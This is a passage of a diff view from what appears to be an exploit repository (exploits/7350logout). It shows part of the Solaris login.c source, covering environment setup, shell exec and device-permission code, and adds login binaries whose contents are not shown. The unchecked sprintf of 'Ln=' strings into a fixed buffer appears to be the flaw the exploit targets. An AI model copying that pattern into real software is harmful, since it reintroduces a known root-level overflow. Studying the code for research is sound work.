| 1961 | */ | ||
| 1962 | if (strcmp(timez, "TZ=") != 0) | ||
| 1963 | envinit[basicenv++] = timez; | ||
| 1964 | |||
| 1965 | if (*pwd->pw_shell == '\0') { | ||
| 1966 | /* | ||
| 1967 | * If possible, use the primary default shell, | ||
| 1968 | * otherwise, use the secondary one. | ||
| 1969 | */ | ||
| 1970 | if (access(SHELL, X_OK) == 0) | ||
| 1971 | pwd->pw_shell = SHELL; | ||
| 1972 | else | ||
| 1973 | pwd->pw_shell = SHELL2; | ||
| 1974 | } else if (Altshell != NULL && strcmp(Altshell, "YES") == 0) { | ||
| 1975 | envinit[basicenv++] = shell; | ||
| 1976 | ENVSTRNCAT(shell, pwd->pw_shell); | ||
| 1977 | } | ||
| 1978 | |||
| 1979 | #ifndef NO_MAIL | ||
| 1980 | envinit[basicenv++] = mail; | ||
| 1981 | (void) strcat(mail, pwd->pw_name); | ||
| 1982 | #endif | ||
| 1983 | |||
| 1984 | /* | ||
| 1985 | * Pick up locale environment variables, if any. | ||
| 1986 | */ | ||
| 1987 | lenvp = renvp; | ||
| 1988 | while (*lenvp != NULL) { | ||
| 1989 | j = 0; | ||
| 1990 | while (localeenv[j] != 0) { | ||
| 1991 | /* | ||
| 1992 | * locale_envmatch() returns 1 if | ||
| 1993 | * *lenvp is localenev[j] and valid. | ||
| 1994 | */ | ||
| 1995 | if (locale_envmatch(localeenv[j], *lenvp) == 1) { | ||
| 1996 | envinit[basicenv++] = *lenvp; | ||
| 1997 | break; | ||
| 1998 | } | ||
| 1999 | j++; | ||
| 2000 | } | ||
| 2001 | lenvp++; | ||
| 2002 | } | ||
| 2003 | |||
| 2004 | /* | ||
| 2005 | * If '-p' flag, then try to pass on allowable environment | ||
| 2006 | * variables. Note that by processing this first, what is | ||
| 2007 | * passed on the final "login:" line may over-ride the invocation | ||
| 2008 | * values. XXX is this correct? | ||
| 2009 | */ | ||
| 2010 | if (pflag) { | ||
| 2011 | for (lenvp = renvp; *lenvp; lenvp++) { | ||
| 2012 | if (!legalenvvar(*lenvp)) { | ||
| 2013 | continue; | ||
| 2014 | } | ||
| 2015 | /* | ||
| 2016 | * If this isn't 'xxx=yyy', skip it. XXX | ||
| 2017 | */ | ||
| 2018 | if ((endptr = strchr(*lenvp, '=')) == NULL) { | ||
| 2019 | continue; | ||
| 2020 | } | ||
| 2021 | length = endptr + 1 - *lenvp; | ||
| 2022 | for (j = 0; j < basicenv; j++) { | ||
| 2023 | if (strncmp(envinit[j], *lenvp, length) == 0) { | ||
| 2024 | /* | ||
| 2025 | * Replace previously established value | ||
| 2026 | */ | ||
| 2027 | envinit[j] = *lenvp; | ||
| 2028 | break; | ||
| 2029 | } | ||
| 2030 | } | ||
| 2031 | if (j == basicenv) { | ||
| 2032 | /* | ||
| 2033 | * It's a new definition, so add it at the end. | ||
| 2034 | */ | ||
| 2035 | envinit[basicenv++] = *lenvp; | ||
| 2036 | } | ||
| 2037 | } | ||
| 2038 | } | ||
| 2039 | |||
| 2040 | /* | ||
| 2041 | * Add in all the environment variables picked up from the | ||
| 2042 | * argument list to "login" or from the user response to the | ||
| 2043 | * "login" request. | ||
| 2044 | */ | ||
| 2045 | |||
| 2046 | for (j = 0, k = 0, l_index = 0, ptr = &envblk[0]; | ||
| 2047 | *envp && j < (MAXARGS-1); j++, envp++) { | ||
| 2048 | |||
| 2049 | /* | ||
| 2050 | * Scan each string provided. If it doesn't have the | ||
| 2051 | * format xxx=yyy, then add the string "Ln=" to the beginning. | ||
| 2052 | */ | ||
| 2053 | if ((endptr = strchr(*envp, '=')) == NULL) { | ||
| 2054 | envinit[basicenv+k] = ptr; | ||
| 2055 | (void) sprintf(ptr, "L%d=%s", l_index, *envp); | ||
| 2056 | |||
| 2057 | /* | ||
| 2058 | * Advance "ptr" to the beginning of the | ||
| 2059 | * next argument. | ||
| 2060 | */ | ||
| 2061 | while (*ptr++) | ||
| 2062 | ; | ||
| 2063 | k++; | ||
| 2064 | l_index++; | ||
| 2065 | } else { | ||
| 2066 | if (!legalenvvar(*envp)) { /* this env var permited? */ | ||
| 2067 | continue; | ||
| 2068 | } else { | ||
| 2069 | |||
| 2070 | /* | ||
| 2071 | * Check to see whether this string replaces | ||
| 2072 | * any previously defined string | ||
| 2073 | */ | ||
| 2074 | for (i = 0, length = endptr + 1 - *envp; | ||
| 2075 | i < basicenv + k; i++) { | ||
| 2076 | if (strncmp(*envp, envinit[i], length) | ||
| 2077 | == 0) { | ||
| 2078 | envinit[i] = *envp; | ||
| 2079 | break; | ||
| 2080 | } | ||
| 2081 | } | ||
| 2082 | |||
| 2083 | /* | ||
| 2084 | * If it doesn't, place it at the end of | ||
| 2085 | * environment array. | ||
| 2086 | */ | ||
| 2087 | if (i == basicenv+k) { | ||
| 2088 | envinit[basicenv+k] = *envp; | ||
| 2089 | k++; | ||
| 2090 | } | ||
| 2091 | } | ||
| 2092 | } | ||
| 2093 | } /* for (j = 0 ... ) */ | ||
| 2094 | |||
| 2095 | /* | ||
| 2096 | * Switch to the new environment. | ||
| 2097 | */ | ||
| 2098 | environ = envinit; | ||
| 2099 | } | ||
| 2100 | |||
| 2101 | /* | ||
| 2102 | * print_banner - Print the banner at start up | ||
| 2103 | * Do not turn on DOBANNER ifdef. This is not | ||
| 2104 | * relevant to SunOS. | ||
| 2105 | */ | ||
| 2106 | |||
| 2107 | static void | ||
| 2108 | print_banner(void) | ||
| 2109 | { | ||
| 2110 | #ifdef DOBANNER | ||
| 2111 | uname(&un); | ||
| 2112 | #if i386 | ||
| 2113 | (void) printf("UNIX System V/386 Release %s\n%s\n" | ||
| 2114 | "Copyright (C) 1984, 1986, 1987, 1988 AT&T\n" | ||
| 2115 | "Copyright (C) 1987, 1988 Microsoft Corp.\nAll Rights Reserved\n", | ||
| 2116 | un.release, un.nodename); | ||
| 2117 | #elif sun | ||
| 2118 | (void) printf("SunOS Release %s Sun Microsystems %s\n%s\n" | ||
| 2119 | "Copyright (c) 1984, 1986, 1987, 1988 AT&T\n" | ||
| 2120 | "Copyright (c) 1988, 1989, 1990, 1991 Sun Microsystems\n" | ||
| 2121 | "All Rights Reserved\n", | ||
| 2122 | un.release, un.machine, un.nodename); | ||
| 2123 | #else | ||
| 2124 | (void) printf("UNIX System V Release %s AT&T %s\n%s\n" | ||
| 2125 | "Copyright (c) 1984, 1986, 1987, 1988 AT&T\nAll Rights Reserved\n", | ||
| 2126 | un.release, un.machine, un.nodename); | ||
| 2127 | #endif /* i386 */ | ||
| 2128 | #endif /* DOBANNER */ | ||
| 2129 | } | ||
| 2130 | |||
| 2131 | /* | ||
| 2132 | * display_last_login_time - Advise the user the time and date | ||
| 2133 | * that this login-id was last used. | ||
| 2134 | */ | ||
| 2135 | |||
| 2136 | static void | ||
| 2137 | display_last_login_time(void) | ||
| 2138 | { | ||
| 2139 | if (lastlogok) { | ||
| 2140 | (void) printf("Last login: %.*s ", 24-5, ctime(&ll.ll_time)); | ||
| 2141 | |||
| 2142 | if (*ll.ll_host != '\0') | ||
| 2143 | (void) printf("from %.*s\n", sizeof (ll.ll_host), | ||
| 2144 | ll.ll_host); | ||
| 2145 | else | ||
| 2146 | (void) printf("on %.*s\n", sizeof (ll.ll_line), | ||
| 2147 | ll.ll_line); | ||
| 2148 | } | ||
| 2149 | } | ||
| 2150 | |||
| 2151 | /* | ||
| 2152 | * exec_the_shell - invoke the specified shell or start up program | ||
| 2153 | */ | ||
| 2154 | |||
| 2155 | static void | ||
| 2156 | exec_the_shell(void) | ||
| 2157 | { | ||
| 2158 | char *endptr; | ||
| 2159 | int i; | ||
| 2160 | |||
| 2161 | (void) strcat(minusnam, basename(pwd->pw_shell)); | ||
| 2162 | |||
| 2163 | /* | ||
| 2164 | * Exec the shell | ||
| 2165 | */ | ||
| 2166 | (void) execl(pwd->pw_shell, minusnam, (char *)0); | ||
| 2167 | |||
| 2168 | /* | ||
| 2169 | * pwd->pw_shell was not an executable object file, maybe it | ||
| 2170 | * is a shell proceedure or a command line with arguments. | ||
| 2171 | * If so, turn off the SHELL= environment variable. | ||
| 2172 | */ | ||
| 2173 | for (i = 0; envinit[i] != NULL; ++i) { | ||
| 2174 | if ((envinit[i] == shell) && | ||
| 2175 | ((endptr = strchr(shell, '=')) != NULL)) | ||
| 2176 | (*++endptr) = '\0'; | ||
| 2177 | } | ||
| 2178 | |||
| 2179 | if (access(pwd->pw_shell, R_OK|X_OK) == 0) { | ||
| 2180 | (void) execl(SHELL, "sh", pwd->pw_shell, (char *)0); | ||
| 2181 | (void) execl(SHELL2, "sh", pwd->pw_shell, (char *)0); | ||
| 2182 | } | ||
| 2183 | |||
| 2184 | (void) printf("No shell\n"); | ||
| 2185 | } | ||
| 2186 | |||
| 2187 | /* | ||
| 2188 | * login_exit - Call exit() and terminate. | ||
| 2189 | * This function is here for PAM so cleanup can | ||
| 2190 | * be done before the process exits. | ||
| 2191 | */ | ||
| 2192 | static void | ||
| 2193 | login_exit(int exit_code) | ||
| 2194 | { | ||
| 2195 | if (pamh) | ||
| 2196 | pam_end(pamh, PAM_ABORT); | ||
| 2197 | exit(exit_code); | ||
| 2198 | /*NOTREACHED*/ | ||
| 2199 | } | ||
| 2200 | |||
| 2201 | /* | ||
| 2202 | * Check if lenv and penv matches or not. | ||
| 2203 | */ | ||
| 2204 | static int | ||
| 2205 | locale_envmatch(char *lenv, char *penv) | ||
| 2206 | { | ||
| 2207 | while ((*lenv == *penv) && *lenv && *penv != '=') { | ||
| 2208 | lenv++; | ||
| 2209 | penv++; | ||
| 2210 | } | ||
| 2211 | |||
| 2212 | /* | ||
| 2213 | * '/' is eliminated for security reason. | ||
| 2214 | */ | ||
| 2215 | if (*lenv == '\0' && *penv == '=' && *(penv + 1) != '/') | ||
| 2216 | return (1); | ||
| 2217 | return (0); | ||
| 2218 | } | ||
| 2219 | |||
| 2220 | /* | ||
| 2221 | * logindevperm - change owner/group/permissions of devices | ||
| 2222 | * list in /etc/logindevperm. (Code derived from set_fb_attrs() | ||
| 2223 | * in 4.x usr/src/bin/login.c and usr/src/etc/getty/main.c.) | ||
| 2224 | */ | ||
| 2225 | |||
| 2226 | #define MAX_LINELEN 256 | ||
| 2227 | #define LOGINDEVPERM "/etc/logindevperm" | ||
| 2228 | #define DIRWILD "/*" /* directory wildcard */ | ||
| 2229 | #define DIRWLDLEN 2 /* strlen(DIRWILD) */ | ||
| 2230 | |||
| 2231 | static void | ||
| 2232 | logindevperm(char *ttyn, uid_t uid, gid_t gid) | ||
| 2233 | { | ||
| 2234 | char *field_delims = " \t\n"; | ||
| 2235 | char *permfile = LOGINDEVPERM; | ||
| 2236 | char line[MAX_LINELEN]; | ||
| 2237 | char *console; | ||
| 2238 | char *mode_str; | ||
| 2239 | char *dev_list; | ||
| 2240 | char *device; | ||
| 2241 | char *ptr; | ||
| 2242 | int mode; | ||
| 2243 | FILE *fp; | ||
| 2244 | size_t l; | ||
| 2245 | int lineno; | ||
| 2246 | |||
| 2247 | if ((fp = fopen(permfile, "r")) == NULL) | ||
| 2248 | return; | ||
| 2249 | |||
| 2250 | lineno = 0; | ||
| 2251 | while (fgets(line, MAX_LINELEN, fp) != NULL) { | ||
| 2252 | lineno++; | ||
| 2253 | |||
| 2254 | if ((ptr = strchr(line, '#')) != NULL) | ||
| 2255 | *ptr = '\0'; /* handle comments */ | ||
| 2256 | |||
| 2257 | if ((console = strtok(line, field_delims)) == NULL) | ||
| 2258 | continue; /* ignore blank lines */ | ||
| 2259 | |||
| 2260 | if (strcmp(console, ttyn) != 0) | ||
| 2261 | continue; /* not our tty, skip */ | ||
| 2262 | |||
| 2263 | mode_str = strtok((char *)NULL, field_delims); | ||
| 2264 | if (mode_str == NULL) { | ||
| 2265 | (void) fprintf(stderr, | ||
| 2266 | "%s: line %d, invalid entry -- %s\n", permfile, | ||
| 2267 | lineno, line); | ||
| 2268 | continue; | ||
| 2269 | } | ||
| 2270 | |||
| 2271 | /* convert string to octal value */ | ||
| 2272 | mode = strtol(mode_str, &ptr, 8); | ||
| 2273 | if (mode < 0 || mode > 0777 || *ptr != '\0') { | ||
| 2274 | (void) fprintf(stderr, | ||
| 2275 | "%s: line %d, invalid mode -- %s\n", permfile, | ||
| 2276 | lineno, mode_str); | ||
| 2277 | continue; | ||
| 2278 | } | ||
| 2279 | |||
| 2280 | dev_list = strtok((char *)NULL, field_delims); | ||
| 2281 | if (dev_list == NULL) { | ||
| 2282 | (void) fprintf(stderr, | ||
| 2283 | "%s: line %d, %s -- empty device list\n", | ||
| 2284 | permfile, lineno, console); | ||
| 2285 | continue; | ||
| 2286 | } | ||
| 2287 | |||
| 2288 | device = strtok(dev_list, ":"); | ||
| 2289 | while (device != NULL) { | ||
| 2290 | l = strlen(device); | ||
| 2291 | ptr = &device[l - DIRWLDLEN]; | ||
| 2292 | if ((l > DIRWLDLEN) && (strcmp(ptr, DIRWILD) == 0)) { | ||
| 2293 | *ptr = '\0'; /* chop off wildcard */ | ||
| 2294 | dir_dev_acc(device, uid, gid, mode, permfile); | ||
| 2295 | } else { | ||
| 2296 | /* | ||
| 2297 | * change the owner/group/permission; | ||
| 2298 | * nonexistent devices are ignored | ||
| 2299 | */ | ||
| 2300 | if (chown(device, uid, gid) == -1) { | ||
| 2301 | if (errno != ENOENT) { | ||
| 2302 | (void) fprintf(stderr, "%s: ", | ||
| 2303 | permfile); | ||
| 2304 | perror(device); | ||
| 2305 | } | ||
| 2306 | } else { | ||
| 2307 | if ((chmod(device, mode) == -1) && | ||
| 2308 | (errno != ENOENT)) { | ||
| 2309 | (void) fprintf(stderr, "%s: ", | ||
| 2310 | permfile); | ||
| 2311 | perror(device); | ||
| 2312 | } | ||
| 2313 | } | ||
| 2314 | } | ||
| 2315 | device = strtok((char *)NULL, ":"); | ||
| 2316 | } | ||
| 2317 | } | ||
| 2318 | (void) fclose(fp); | ||
| 2319 | } | ||
| 2320 | |||
| 2321 | /* | ||
| 2322 | * Apply owner/group/perms to all files (except "." and "..") | ||
| 2323 | * in a directory. | ||
| 2324 | */ | ||
| 2325 | static void | ||
| 2326 | dir_dev_acc(char *dir, uid_t uid, gid_t gid, mode_t mode, char *permfile) | ||
| 2327 | { | ||
| 2328 | DIR *dirp; | ||
| 2329 | struct dirent *direntp; | ||
| 2330 | char *name, path[MAX_LINELEN + MAXNAMELEN]; | ||
| 2331 | |||
| 2332 | dirp = opendir(dir); | ||
| 2333 | if (dirp == NULL) | ||
| 2334 | return; | ||
| 2335 | |||
| 2336 | while ((direntp = readdir(dirp)) != NULL) { | ||
| 2337 | name = direntp->d_name; | ||
| 2338 | if ((strcmp(name, ".") == 0) || (strcmp(name, "..") == 0)) | ||
| 2339 | continue; | ||
| 2340 | |||
| 2341 | (void) sprintf(path, "%s/%s", dir, name); | ||
| 2342 | if (chown(path, uid, gid) == -1) { | ||
| 2343 | if (errno != ENOENT) { | ||
| 2344 | (void) fprintf(stderr, "%s: ", permfile); | ||
| 2345 | perror(path); | ||
| 2346 | } | ||
| 2347 | } else { | ||
| 2348 | if ((chmod(path, mode) == -1) && (errno != ENOENT)) { | ||
| 2349 | (void) fprintf(stderr, "%s: ", permfile); | ||
| 2350 | perror(path); | ||
| 2351 | } | ||
| 2352 | } | ||
| 2353 | } | ||
| 2354 | (void) closedir(dirp); | ||
| 2355 | } | ||
diff --git a/exploits/7350logout/solaris-2.8-sparc-login b/exploits/7350logout/solaris-2.8-sparc-login new file mode 100644 index 0000000..4db4b3e --- /dev/null +++ b/exploits/7350logout/solaris-2.8-sparc-login | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/solaris-2.8-sparc-login-patched b/exploits/7350logout/solaris-2.8-sparc-login-patched new file mode 100644 index 0000000..c575500 --- /dev/null +++ b/exploits/7350logout/solaris-2.8-sparc-login-patched | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/solaris-2.8-sparc-login.o b/exploits/7350logout/solaris-2.8-sparc-login.o new file mode 100644 index 0000000..debe85c --- /dev/null +++ b/exploits/7350logout/solaris-2.8-sparc-login.o | |||
| Binary files differ | |||
